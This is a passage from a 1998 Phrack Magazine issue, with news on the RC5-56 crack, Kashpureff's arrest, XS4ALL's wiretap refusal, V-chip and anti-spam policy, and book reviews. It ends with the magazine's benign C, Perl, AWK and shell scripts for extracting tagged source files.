the largest portion of his team's cracking power. Congratulations
|
||
Peter and Jo!
|
||
|
||
Of the US$10000 prize from RSA Labs, they will receive US$1000 and
|
||
plan to host an unforgettable party in celebration of our collective
|
||
victory. If you're anywhere near Brussels, you might want to find
|
||
out when the party will be held. US$8000, of course, is being
|
||
donated to Project Gutenberg (http://www.promo.net/pg/) to assist
|
||
them in their continuing efforts in converting literature into
|
||
electronic format for the public use. The remaining US$1000 is being
|
||
retained by distributed.net to assist in funding future projects.
|
||
|
||
Equally important are the thanks, accolades, and congratulations due
|
||
to all who participated and contributed to the Bovine RC5-56 Effort!
|
||
The thousands of teams and tens of thousands of individuals who have
|
||
diligently tested key after key are the reason we are so successful.
|
||
|
||
The thrill of finding the key more than compensates for the sleep,
|
||
food, and free time that we've sacrificed!
|
||
|
||
Special thanks go to all the coders and developers, especially Tim
|
||
Charron, who has graciously given his time and expertise since the
|
||
earliest days of the Bovine effort. Thanks to all the coordinators
|
||
and keyserver operators: Chris Chiapusio, Paul Chvostek, Peter
|
||
Denitto, Peter Doubt, Mishari Muqbil, Steve Sether, and Chris
|
||
Yarnell. Thanks to Andrew Meggs, Roderick Mann, and Kevyn Shortell
|
||
for showing us the true power of the Macintosh and the strength of
|
||
its users. We'd also like to thank Dave Avery for attempting to
|
||
bridge the gap between Bovine and the other RC5 efforts.
|
||
|
||
Once again, a heartfelt clap on the back goes out to all of us who
|
||
have run the client. Celebrations are in order. I'd like to invite
|
||
any and all to join us on the EFNet IRC network channel #rc5 for
|
||
celebrations as we regroup and set our sights on the next task. Now
|
||
that we've proven the limitations of a 56-bit key length, let's go
|
||
one further and demonstrate the power of distributed computing! We
|
||
are, all of us, the future of computing. Join the excitement as the
|
||
world is forced to take notice of the power we've harnessed.
|
||
|
||
Moo and a good hearty laugh.
|
||
|
||
Adam L. Beberg - Client design and overall visionary
|
||
Jeff Lawson - keymaster/server network design and morale booster
|
||
David McNett - stats development and general busybody
|
||
|
||
0xc>-------------------------------------------------------------------------
|
||
|
||
Title: Kashpureff in custody.
|
||
Source: Marc Hurst <mhurst@fastlane.ca>
|
||
Author: Marc Hurst <mhurst@fastlane.ca>
|
||
Date: Fri, 31 Oct 1997 10:40:20 -0500 (EST)
|
||
|
||
|
||
Eugene Kashpureff, known for his redirect of the NSI web page,
|
||
was apprehended this morning in Toronto by undercover RCMP
|
||
detectives.
|
||
|
||
Pending a deportation hearing, he will be returned to New York to
|
||
face Felony Wire Fraud charges that were sworn out against him
|
||
after he had settled out of court with NSI in regard to their
|
||
civil suit.
|
||
|
||
Early in the week Eugene relinquished control of the Alternic to
|
||
an adhoc industry group and that group will be making an
|
||
announcement in the next few days.
|
||
|
||
A this time I have no further information to volunteer.
|
||
|
||
Sincerely
|
||
Marc Hurst
|
||
|
||
0xd>-------------------------------------------------------------------------
|
||
|
||
Title: XS4ALL refuses Internet tap
|
||
Source: Press Release
|
||
Author: Maurice Wessling
|
||
Date: November 13th 1997, Amsterdam, Netherlands.
|
||
|
||
|
||
XS4ALL Internet is refusing to comply with an instruction from the
|
||
Dutch Ministry of Justice that it should tap the Internet traffic
|
||
of one of its users as part of an investigation. XS4ALL has
|
||
informed the Ministry that in its view the instruction lacks any
|
||
adequate legal basis. The company's refusal makes it liable for a
|
||
penalty but XS4ALL is hoping for a trial case to be brought in the
|
||
near future so that a court can make a pronouncement.
|
||
|
||
On Friday October 31st, a detective and a computer expert from the
|
||
Forensic Science Laboratory issued the instruction to XS4ALL. The
|
||
Ministry of Justice wants XS4ALL to tap for a month all Internet
|
||
traffic to and from this user and then supply the information to
|
||
the police. This covers e-mail, the World Wide Web, news groups,
|
||
IRC and all Internet services that this person uses. XS4ALL would
|
||
have to make all the technical arrangements itself.
|
||
|
||
As far as we are aware, there is no precedent in the Netherlands
|
||
for the Ministry of Justice issuing such a far-reaching
|
||
instruction to an Internet provider. The detectives involved also
|
||
acknowledge as much. Considering that a national meeting of
|
||
Examining judges convened to discuss the instruction, one may
|
||
appreciate just how unprecedented this situation is. Hitherto,
|
||
instructions have mainly been confined to requests for personal
|
||
information on the basis of an e-mail address.
|
||
|
||
XS4ALL feels obliged in principle to protect its users and their
|
||
privacy. Furthermore, XS4ALL has a commercial interest, since it
|
||
must not run the risk of action being brought by users under Civil
|
||
Law on account of unlawful deeds. This could happen with such an
|
||
intervention by the provider which is not based in law. Finally,
|
||
it is important from the social point of view that means of
|
||
investigation have adequate statutory basis. To comply with the
|
||
instruction could act as an undesirable precedent which could have
|
||
a major impact on the privacy of all Internet users in the
|
||
Netherlands.
|
||
|
||
XS4ALL has no view on the nature of the investigation itself or
|
||
the alleged crimes. It is happy to leave the court to decide that.
|
||
Nor will XS4ALL make any comment on the content of the study or
|
||
the region in which this is occurring for it is not its intention
|
||
that the investigation should founder. XS4ALL has proposed in vain
|
||
to the examining judge that the instruction be recast in terms
|
||
which ensures the legal objections are catered for.
|
||
|
||
The Ministry of Justice based its claim on Article 125i of the
|
||
Penal Code. This article was introduced in 1993 as part of the
|
||
Computer Crime Act. It gives the examining judge the option of
|
||
advising third parties during statutory preliminary investigations
|
||
to provide data stored in computers in the interest of
|
||
establishing the truth. According to legal history, it was never
|
||
the intention to apply this provision to an instruction focused on
|
||
the future. Legislators are still working to fill this gap in the
|
||
arsenal of detection methods, by analogy with the Ministry of
|
||
Justice tapping phone lines (125g of the Penal Code). The Dutch
|
||
Constitution and the European Convention on the Protection of
|
||
Human Rights demand a precise statutory basis for violating basic
|
||
rights such as privacy and confidentiality of correspondence. The
|
||
Ministry clearly does not wish to wait for this and is now
|
||
attempting to use Article 125i of the Penal Code, which is not
|
||
intended for this purpose, to compel providers themselves to start
|
||
tapping suspect users. The Ministry of Justice is taking the risk
|
||
of the prosecution of X, in the context of which the instruction
|
||
was issued to XS4ALL, running aground on account of using illegal
|
||
detection methods. Here, again, XS4ALL does not wish to be liable
|
||
in any respect in this matter.
|
||
|
||
For information please contact:
|
||
|
||
XS4ALL
|
||
Maurice Wessling
|
||
email: maurice@xs4all.nl
|
||
http://www.xs4all.nl/
|
||
|
||
0xf>-------------------------------------------------------------------------
|
||
|
||
Title: The FCC Wants V-Chip in PCs too
|
||
Source: Cyber-Liberties Update
|
||
Author:
|
||
Date: Monday, November 3, 1997
|
||
|
||
|
||
Mandating that all new televisions have built-in censorship technology
|
||
is not the only thing that the Federal Communications Commission (FCC)
|
||
is seeking, said ACLU Associate Director Barry Steinhardt, it is also
|
||
looking to require that the same technology be added to all new personal
|
||
computers.
|
||
|
||
Last year, culminating a protracted campaign against TV violence,
|
||
Congress passed the Telecommunications Act of 1996, a law requiring that
|
||
new televisions be equipped with the so-called V-chip. The V-chip is a
|
||
computerized chip capable of detecting program ratings and blocking
|
||
adversely rated programs from view.
|
||
|
||
Now, the FCC has announced that it is soliciting public comments through
|
||
November 24, on the idea of placing V-chips inside personal computers
|
||
since some are capable of delivering television programming.
|
||
|
||
^SAt the time the V-chip was being considered we warned that with the
|
||
growing convergence between traditional television (broadcast and cable)
|
||
and the Internet, it was only a matter of time before the government
|
||
would move to require that the V-chip be placed in PC's. Now that has
|
||
happened,^T Steinhardt said.
|
||
|
||
^SHardwiring censorship technology into the PC is part of the headlong
|
||
rush to
|
||
a scheme of rating and blocking Internet content that will turn the
|
||
Internet into a bland homogenized medium in which only large corporate
|
||
interest will have truly free speech,^T Steinhardt said.
|
||
|
||
The ACLU has criticized the mandatory requirement of V-chip arguing that
|
||
it is a form of censorship clearly forbidden by the First Amendment.
|
||
|
||
^SAlthough its supporters claim the V-chip gives parents control over
|
||
their
|
||
children's viewing habits, in fact it will function as a governmental
|
||
usurpation of parental control,^T said Solange Bitol, Legislative Counsel
|
||
for the ACLU^Rs Washington National Office.
|
||
|
||
^SUnder the legislation, it is the government (either directly or by
|
||
coercing private industry), and not the parents, that will determine how
|
||
programs will be rated. If a parent activates the V-chip, all programs
|
||
with a "violent" rating will be blocked. What kind of violence will be
|
||
censored? Football games? War movies? News reports?^T she added.
|
||
|
||
The ACLU is opposed to mandatory addition or use of censoring
|
||
technologies and we will be filing comments with the FCC later this
|
||
month. We believe people are smart enough to turn off their television
|
||
sets or PCs on their own if they don^Rt like what they see.
|
||
|
||
Tell the FCC what you think. Submit comments to them online at
|
||
<http://www.fcc.gov/vchip/>, and send us a copy as well so that we make
|
||
sure your voice is heard. E-mail them to CSehgal@aclu.org.
|
||
|
||
=-=
|
||
|
||
To subscribe to the ACLU Cyber-Liberties Update, send a message to
|
||
majordomo@aclu.org with "subscribe Cyber-Liberties" in the body of your
|
||
message. To terminate your subscription, send a message to
|
||
majordomo@aclu.org with "unsubscribe Cyber-Liberties" in the body.
|
||
|
||
|
||
1x1>-------------------------------------------------------------------------
|
||
|
||
Book Title: Underground
|
||
Poster: George Smith via Crypt Newsletter
|
||
|
||
Date: 27 Aug 97 00:36:12 EDT
|
||
From: "George Smith [CRYPTN]" <70743.1711@CompuServe.COM>
|
||
Subject: File 5--An "Underground" Book on Australian Hackers Burns the Mind
|
||
|
||
Source - CRYPT NEWSLETTER 44
|
||
|
||
AN "UNDERGROUND" BOOK ON AUSTRALIAN HACKERS BURNS THE MIND
|
||
|
||
Crypt News reads so many bad books, reports and news pieces on
|
||
hacking and the computing underground that it's a real pleasure to
|
||
find a writer who brings genuine perception to the subject.
|
||
Suelette Dreyfus is such a writer, and "Underground," published by
|
||
the Australian imprint, Mandarin, is such a book.
|
||
|
||
The hacker stereotypes perpetrated by the mainstream media include
|
||
descriptions which barely even fit any class of real homo sapiens
|
||
Crypt News has met. The constant regurgitation of idiot slogans
|
||
-- "Information wants to be free," "Hackers are just people who
|
||
want to find out how things work" -- insults the intelligence.
|
||
After all, have you ever met anyone who wouldn't want their access
|
||
to information to be free or who didn't admit to some curiosity
|
||
about how the world works? No -- of course not. Dreyfus'
|
||
"Underground" is utterly devoid of this manner of patronizing
|
||
garbage and the reader is the better for it.
|
||
|
||
"Underground" is, however, quite a tale of human frailty. It's
|
||
strength comes not from the feats of hacking it portrays --and
|
||
there are plenty of them -- but in the emotional and physical cost
|
||
to the players. It's painful to read about people like Anthrax, an
|
||
Australian 17-year old trapped in a dysfunctional family.
|
||
Anthrax's father is abusive and racist, so the son --paradoxically
|
||
-- winds up being a little to much like him for comfort,
|
||
delighting in victimizing complete strangers with mean jokes and
|
||
absorbing the anti-Semitic tracts of Louis Farrakhan. For no
|
||
discernible reason, the hacker repetitively baits an old man
|
||
living in the United States with harassing telephone calls.
|
||
Anthrax spends months of his time engaged in completely pointless,
|
||
obsessed hacking of a sensitive U.S. military system. Inevitably,
|
||
Anthrax becomes entangled in the Australian courts and his life
|
||
collapses.
|
||
|
||
Equally harrowing is the story of Electron whose hacking pales in
|
||
comparison to his duel with mental illness. Crypt News challenges
|
||
the readers of "Underground" not to squirm at the image of
|
||
Electron, his face distorted into a fright mask of rolling eyes
|
||
and open mouth due to tardive dyskinesia, a side-effect of being
|
||
put on anti-schizophrenic medication.
|
||
|
||
Dreyfus expends a great deal of effort exploring what happens when
|
||
obsession becomes the only driving force behind her subjects'
|
||
hacking. In some instances, "Underground's" characters degenerate
|
||
into mental illness, others try to find solace in drugs. This is
|
||
not a book in which the hackers declaim at any great length upon
|
||
contorted philosophies in which the hacker positions himself as
|
||
someone whose function is a betterment to society, a lubricant of
|
||
information flow, or a noble scourge of bureaucrats and tyrants.
|
||
Mostly, they hack because they're good at it, it affords a measure
|
||
of recognition and respect -- and it develops a grip upon them
|
||
which goes beyond anything definable by words.
|
||
|
||
Since this is the case, "Underground" won't be popular with the
|
||
goon squad contingent of the police corp and computer security
|
||
industry. Dreyfus' subjects aren't the kind that come neatly
|
||
packaged in the
|
||
"throw-'em-in-jail-for-a-few-years-while-awaiting-trial"
|
||
phenomenon that's associated with America's Kevin Mitnick-types.
|
||
However, the state of these hackers -- sometimes destitute,
|
||
unemployable or in therapy -- at the end of their travails is
|
||
seemingly quite sufficient punishment.
|
||
|
||
Some things, however, never change. Apparently, much of
|
||
Australia's mainstream media is as dreadful at covering this type
|
||
of story as America's. Throughout "Underground," Dreyfus includes
|
||
clippings from Australian newspapers featuring fabrications and
|
||
exaggeration that bare almost no relationship to reality. Indeed,
|
||
in one prosecution conducted within the United Kingdom, the
|
||
tabloid press whipped the populace into a blood frenzy by
|
||
suggesting a hacker under trial could have affected the outcome of
|
||
the Gulf War in his trips through U.S. computers.
|
||
|
||
Those inclined to seek the unvarnished truth will find
|
||
"Underground" an excellent read. Before each chapter, Dreyfus
|
||
presents a snippet of lyric chosen from the music of Midnight Oil.
|
||
It's an elegant touch, but I'll suggest a lyric from another
|
||
Australian band, a bit more obscure, to describe the spirit of
|
||
"Underground." From Radio Birdman's second album: "Burned my eye,
|
||
burned my mind, I couldn't believe it . . . "
|
||
+++++++++
|
||
|
||
["Underground: Tales of Hacking, Madness and Obsession on the
|
||
Electronic Frontier" by Suelette Dreyfus with research by Julian
|
||
Assange, Mandarin, 475 pp.]
|
||
|
||
Excerpts and ordering information for "Underground" can be found
|
||
on the Web at http://www.underground-book.com .
|
||
|
||
George Smith, Ph.D., edits the Crypt Newsletter from Pasadena,
|
||
CA.
|
||
|
||
1x2>-------------------------------------------------------------------------
|
||
|
||
Book Title: The Electronic Privacy Papers
|
||
: Documents on the Battle for Privacy in the Age of Surveillance
|
||
by: Bruce Schneier + David Banisar
|
||
publisher: John Wiley 1997
|
||
other: 747 pages, index, US$59.99
|
||
|
||
_The Privacy Papers_ is not about electronic privacy in general: it covers
|
||
only United States Federal politics, and only the areas of wiretapping
|
||
and cryptography. The three topics covered are wiretapping and the
|
||
Digital Telephony proposals, the Clipper Chip, and other controls on
|
||
cryptography (such as export controls and software key escrow proposals).
|
||
|
||
The documents included fall into several categories. There are broad
|
||
overviews of the issues, some of them written just for this volume.
|
||
There are public pronouncements and documents from various government
|
||
bodies: legislation, legal judgements, policy statements, and so forth.
|
||
There are government documents obtained under Freedom of Information
|
||
requests (some of them partially declassified documents complete with
|
||
blacked out sections and scrawled marginal annotations), which tell
|
||
the story of what happened behind the scenes. And there are newspaper
|
||
editorials, opinion pieces, submissions to government enquiries, and
|
||
policy statements from corporations and non-government organisations,
|
||
presenting the response from the public.
|
||
|
||
Some of the material included in _The Privacy Papers_ is available
|
||
online, none of it is breaking news (the cut-off for material appears
|
||
to be mid-to-late 1996), and some of the government documents included
|
||
are rather long-winded (no surprise there). It is not intended to be a
|
||
"current affairs" study, however; nor is it aimed at a popular audience.
|
||
_The Privacy Papers_ will be a valuable reference sourcebook for anyone
|
||
involved with recent government attempts to control the technology
|
||
necessary for privacy -- for historians, activists, journalists,
|
||
lobbyists, researchers, and maybe even politicians.
|
||
|
||
--
|
||
|
||
%T The Electronic Privacy Papers
|
||
%S Documents on the Battle for Privacy in the Age of Surveillance
|
||
%A Bruce Schneier
|
||
%A David Banisar
|
||
%I John Wiley
|
||
%C New York
|
||
%D 1997
|
||
%O hardcover, bibliography, index
|
||
%G ISBN 0-471-12297-1
|
||
%P xvi,747pp
|
||
%K crime, politics, computing
|
||
|
||
|
||
1x3>-------------------------------------------------------------------------
|
||
|
||
Book Title: "Computer Security and Privacy: An Information Sourcebook:
|
||
Topics and Issues for the 21st Century"
|
||
|
||
|
||
by Mark W. Greenia
|
||
List: $29.95
|
||
Publisher: Lexikon Services
|
||
Win/Disk Edition
|
||
Binding: Software
|
||
Expected publication date: 1998
|
||
ISBN: 0944601154
|
||
|
||
|
||
[PWN: I haven't seen this one in stores, and no further information or
|
||
reviews have been found.]
|
||
|
||
3x1>-------------------------------------------------------------------------
|
||
|
||
CDT POLICY POST Volume 3, Number 12 August 11, 1997
|
||
|
||
(1) CIVIL LIBERTIES GROUPS ASK FCC TO BLOCK FBI ELECTRONIC SURVEILLANCE
|
||
PROPOSAL
|
||
|
||
The Center for Democracy and Technology and the Electronic Frontier
|
||
Foundation today filed a petition with the Federal Communications
|
||
Commission to block the FBI from using the 1994 "Digital Telephony" law to
|
||
expand government surveillance powers.
|
||
|
||
The law, officially known as the "Communications Assistance for Law
|
||
Enforcement Act" (CALEA), was intended to preserve law enforcement
|
||
wiretapping ability in the face of changes in communications technologies.
|
||
In their filing, CDT and EFF argue that the FBI has tried to use CALEA to
|
||
expand its surveillance capabilities by forcing telephone companies to
|
||
install intrusive and expensive surveillance features that threaten privacy
|
||
and violate the scope of the law.
|
||
|
||
3x2>-------------------------------------------------------------------------
|
||
|
||
Anti-Spam Bills in Congress
|
||
|
||
Source - ACLU Cyber-Liberties Update, Tuesday, September 2, 1997
|
||
|
||
Unsolicited e-mail advertisement, or "spam," has few fans on the
|
||
net. Court battles have been waged between service providers, such
|
||
as AOL and Compuserve, and spam advertisers, including Cyber
|
||
Promotions, over whether the thousands of messages sent to user
|
||
e-mails can be blocked. Congress and several state legislatures
|
||
have also stepped into the debate and have introduced some bills
|
||
fraught with First Amendment problems because they ban commercial
|
||
speech altogether or are content specific.
|
||
|
||
[Laws against spam.. oh neat. So, how do they plan on enforcing it?]
|
||
|
||
3x3>-------------------------------------------------------------------------
|
||
|
||
JUSTICE DEPARTMENT CHARGES MICROSOFT WITH VIOLATING 1995 COURT ORDER
|
||
|
||
Asks Court to Impose $1 Million a Day Fine if Violation Continues
|
||
|
||
WASHINGTON, D.C. -- The Department of Justice asked a
|
||
federal court today to hold Microsoft Corporation--the world's
|
||
dominant personal computer software company--in civil contempt
|
||
for violating terms of a 1995 court order barring it from
|
||
imposing anticompetitive licensing terms on manufacturers of
|
||
personal computers.
|
||
|
||
[PWN: Hey Bill.. nah nah nah, thptptptptptptp, nanny nanny boo boo]
|
||
|
||
3x4>-------------------------------------------------------------------------
|
||
|
||
Small Minds Think Alike
|
||
Source - : fight-censorship@vorlon.mit.edu
|
||
|
||
CyberWire Dispatch Bulletin
|
||
|
||
Washington --In this boneyard of Washington, DC it doesn't take
|
||
long for big dawgs and small alike to bark. A couple of small
|
||
ones yipped it up today.
|
||
|
||
Rep. Marge (no relation to Homer) Roukema, R-N.J. and Sen. Lauch
|
||
(??) Faircloth, R-N.C. introduced a bill to amend the
|
||
Communications Act that would ban convicted sex offenders from
|
||
using the Internet.
|
||
|
||
[PWN: Oh yeah.. that will be easy to enforce.]
|
||
|
||
3x5>-------------------------------------------------------------------------
|
||
|
||
Cyber Promotions tossed offline
|
||
|
||
Cyber Promotions tossed offline
|
||
By Janet Kornblum
|
||
September 19, 1997, 1:25 p.m. PT
|
||
|
||
Cyber Promotions, antispammers' enemy No. 1 on the Net, has once again
|
||
been dumped by its access provider.
|
||
|
||
Backbone provider AGIS cut off Cyber Promotions Wednesday, and the
|
||
company has been scrambling for another ISP since.
|
||
|
||
[PWN: Hey Samford.. ha ha ha, nanny nanny, thptptptptp.]
|
||
|
||
"Ping-flood attacks observed originating from the West Coast into AGIS
|
||
and directed to the Washington and Philadelphia routers severely
|
||
degraded AGIS network performance to [an] unacceptable level...AGIS
|
||
had no alternative but to shut off services to Cyber Promotions,"
|
||
reads a statement that Wallace put on his page. He alleged that the
|
||
statement came from an AGIS engineer.
|
||
|
||
[PWN: If a ping flood took them down this time...]
|
||
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 20 of 20
|
||
|
||
|
||
-------------------------[ Phrack Magzine Extraction Utility
|
||
|
||
|
||
--------[ Phrack Staff
|
||
|
||
|
||
Added to the list of extraction variants this time is a version in AWK,
|
||
and a version in sh. Also, the C version has ben spruced up to accept
|
||
file name globs. Keep `em coming...
|
||
|
||
|
||
---------------------8<------------CUT-HERE----------->8---------------------
|
||
|
||
<++> PEU/extract2.c
|
||
/* extract.c by Phrack Staff and sirsyko
|
||
*
|
||
* (c) Phrack Magazine, 1997
|
||
* 1.8.98 rewritten by route:
|
||
* - aesthetics
|
||
* - now accepts file globs
|
||
* todo:
|
||
* - more info in tag header (file mode, checksum)
|
||
* Extracts textfiles from a specially tagged flatfile into a hierarchical
|
||
* directory strcuture. Use to extract source code from any of the articles
|
||
* in Phrack Magazine (first appeared in Phrack 50).
|
||
*
|
||
* gcc -o extract extract.c
|
||
*
|
||
* ./extract file1 file2 file3 ...
|
||
*/
|
||
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <sys/stat.h>
|
||
#include <string.h>
|
||
#include <dirent.h>
|
||
|
||
#define BEGIN_TAG "<++> "
|
||
#define END_TAG "<-->"
|
||
#define BT_SIZE strlen(BEGIN_TAG)
|
||
#define ET_SIZE strlen(END_TAG)
|
||
|
||
struct f_name
|
||
{
|
||
u_char name[256];
|
||
struct f_name *next;
|
||
};
|
||
|
||
int
|
||
main(int argc, char **argv)
|
||
{
|
||
u_char b[256], *bp, *fn;
|
||
int i, j = 0;
|
||
FILE *in_p, *out_p = NULL;
|
||
struct f_name *fn_p = NULL, *head = NULL;
|
||
|
||
if (argc < 2)
|
||
{
|
||
printf("Usage: %s file1 file2 ... filen\n", argv[0]);
|
||
exit(0);
|
||
}
|
||
|
||
/*
|
||
* Fill the f_name list with all the files on the commandline (ignoring
|
||
* argv[0] which is this executable). This includes globs.
|
||
*/
|
||
for (i = 1; (fn = argv[i++]); )
|
||
{
|
||
if (!head)
|
||
{
|
||
if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
|
||
{
|
||
perror("malloc");
|
||
exit(1);
|
||
}
|
||
strncpy(head->name, fn, sizeof(head->name));
|
||
head->next = NULL;
|
||
fn_p = head;
|
||
}
|
||
else
|
||
{
|
||
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
|
||
{
|
||
perror("malloc");
|
||
exit(1);
|
||
}
|
||
fn_p = fn_p->next;
|
||
strncpy(fn_p->name, fn, sizeof(fn_p->name));
|
||
fn_p->next = NULL;
|
||
}
|
||
}
|
||
/*
|
||
* Sentry node.
|
||
*/
|
||
if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
|
||
{
|
||
perror("malloc");
|
||
exit(1);
|
||
}
|
||
fn_p = fn_p->next;
|
||
fn_p->next = NULL;
|
||
|
||
/*
|
||
* Check each file in the f_name list for extraction tags.
|
||
*/
|
||
for (fn_p = head; fn_p->next; fn_p = fn_p->next)
|
||
{
|
||
if (!(in_p = fopen(fn_p->name, "r")))
|
||
{
|
||
fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
|
||
continue;
|
||
}
|
||
else fprintf(stderr, "Opened %s\n", fn_p->name);
|
||
while (fgets(b, 256, in_p))
|
||
{
|
||
if (!strncmp (b, BEGIN_TAG, BT_SIZE))
|
||
{
|
||
b[strlen(b) - 1] = 0; /* Now we have a string. */
|
||
j++;
|
||
|
||
if ((bp = strchr(b + BT_SIZE + 1, '/')))
|
||
{
|
||
while (bp)
|
||
{
|
||
*bp = 0;
|
||
mkdir(b + BT_SIZE, 0700);
|
||
*bp = '/';
|
||
bp = strchr(bp + 1, '/');
|
||
}
|
||
}
|
||
if ((out_p = fopen(b + BT_SIZE, "w")))
|
||
{
|
||
printf("- Extracting %s\n", b + BT_SIZE);
|
||
}
|
||
else
|
||
{
|
||
printf("Could not extract '%s'.\n", b + BT_SIZE);
|
||
continue;
|
||
}
|
||
}
|
||
else if (!strncmp (b, END_TAG, ET_SIZE))
|
||
{
|
||
if (out_p) fclose(out_p);
|
||
else
|
||
{
|
||
fprintf(stderr, "Error closing file %s.\n", fn_p->name);
|
||
continue;
|
||
}
|
||
}
|
||
else if (out_p)
|
||
{
|
||
fputs(b, out_p);
|
||
}
|
||
}
|
||
}
|
||
if (!j) printf("No extraction tags found in list.\n");
|
||
else printf("Extracted %d file(s).\n", j);
|
||
return (0);
|
||
}
|
||
|
||
/* EOF */
|
||
<-->
|
||
<++> PEU/extract.pl
|
||
# Daos <daos@nym.alias.net>
|
||
#!/bin/sh -- # -*- perl -*- -n
|
||
eval 'exec perl $0 -S ${1+"$@"}' if 0;
|
||
|
||
$opening=0;
|
||
|
||
if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
|
||
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
|
||
if ($opening) {
|
||
chop $curfile;
|
||
$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
|
||
eval {mkdir $sex_dir, "0777";};
|
||
open(ct_ex,">$curfile");
|
||
print "Attempting extraction of $curfile\n";
|
||
$opened=1;
|
||
}
|
||
if ($opened && !$opening) {print ct_ex $_};
|
||
<-->
|
||
|
||
<++> PEU/extract.awk
|
||
#!/usr/bin/awk -f
|
||
#
|
||
# Yet Another Extraction Script
|
||
# - <sirsyko>
|
||
#
|
||
/^\<\+\+\>/ {
|
||
ind = 1
|
||
File = $2
|
||
split ($2, dirs, "/")
|
||
Dir="."
|
||
while ( dirs[ind+1] ) {
|
||
Dir=Dir"/"dirs[ind]
|
||
system ("mkdir " Dir" 2>/dev/null")
|
||
++ind
|
||
}
|
||
next
|
||
}
|
||
/^\<\-\-\>/ {
|
||
File = ""
|
||
next
|
||
}
|
||
File { print >> File }
|
||
<-->
|
||
|
||
<++> PEU/extract.sh
|
||
#!/bin/sh
|
||
# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
|
||
#
|
||
# note, this file will create all directories relative to the current directory
|
||
# originally a bug, I've now upgraded it to a feature since I dont want to deal
|
||
# with the leading / (besides, you dont want hackers giving you full pathnames
|
||
# anyway, now do you :)
|
||
# Hopefully this will demonstrate another useful aspect of IFS other than
|
||
# haxoring rewt
|
||
#
|
||
# Usage: ./extract.sh <filename>
|
||
|
||
cat $* | (
|
||
Working=1
|
||
while [ $Working ];
|
||
do
|
||
OLDIFS1="$IFS"
|
||
IFS=
|
||
if read Line; then
|
||
IFS="$OLDIFS1"
|
||
set -- $Line
|
||
case "$1" in
|
||
"<++>") OLDIFS2="$IFS"
|
||
IFS=/
|
||
set -- $2
|
||
IFS="$OLDIFS2"
|
||
while [ $# -gt 1 ]; do
|
||
File=${File:-"."}/$1
|
||
if [ ! -d $File ]; then
|
||
echo "Making dir $File"
|
||
mkdir $File
|
||
fi
|
||
shift
|
||
done
|
||
File=${File:-"."}/$1
|
||
echo "Storing data in $File"
|
||
;;
|
||
"<-->") if [ "x$File" != "x" ]; then
|
||
unset File
|
||
fi ;;
|
||
*) if [ "x$File" != "x" ]; then
|
||
IFS=
|
||
echo "$Line" >> $File
|
||
IFS="$OLDIFS1"
|
||
fi
|
||
;;
|
||
esac
|
||
IFS="$OLDIFS1"
|
||
else
|
||
echo "End of file"
|
||
unset Working
|
||
fi
|
||
done
|
||
)
|
||
<-->
|
||
|
||
----[ EOF
|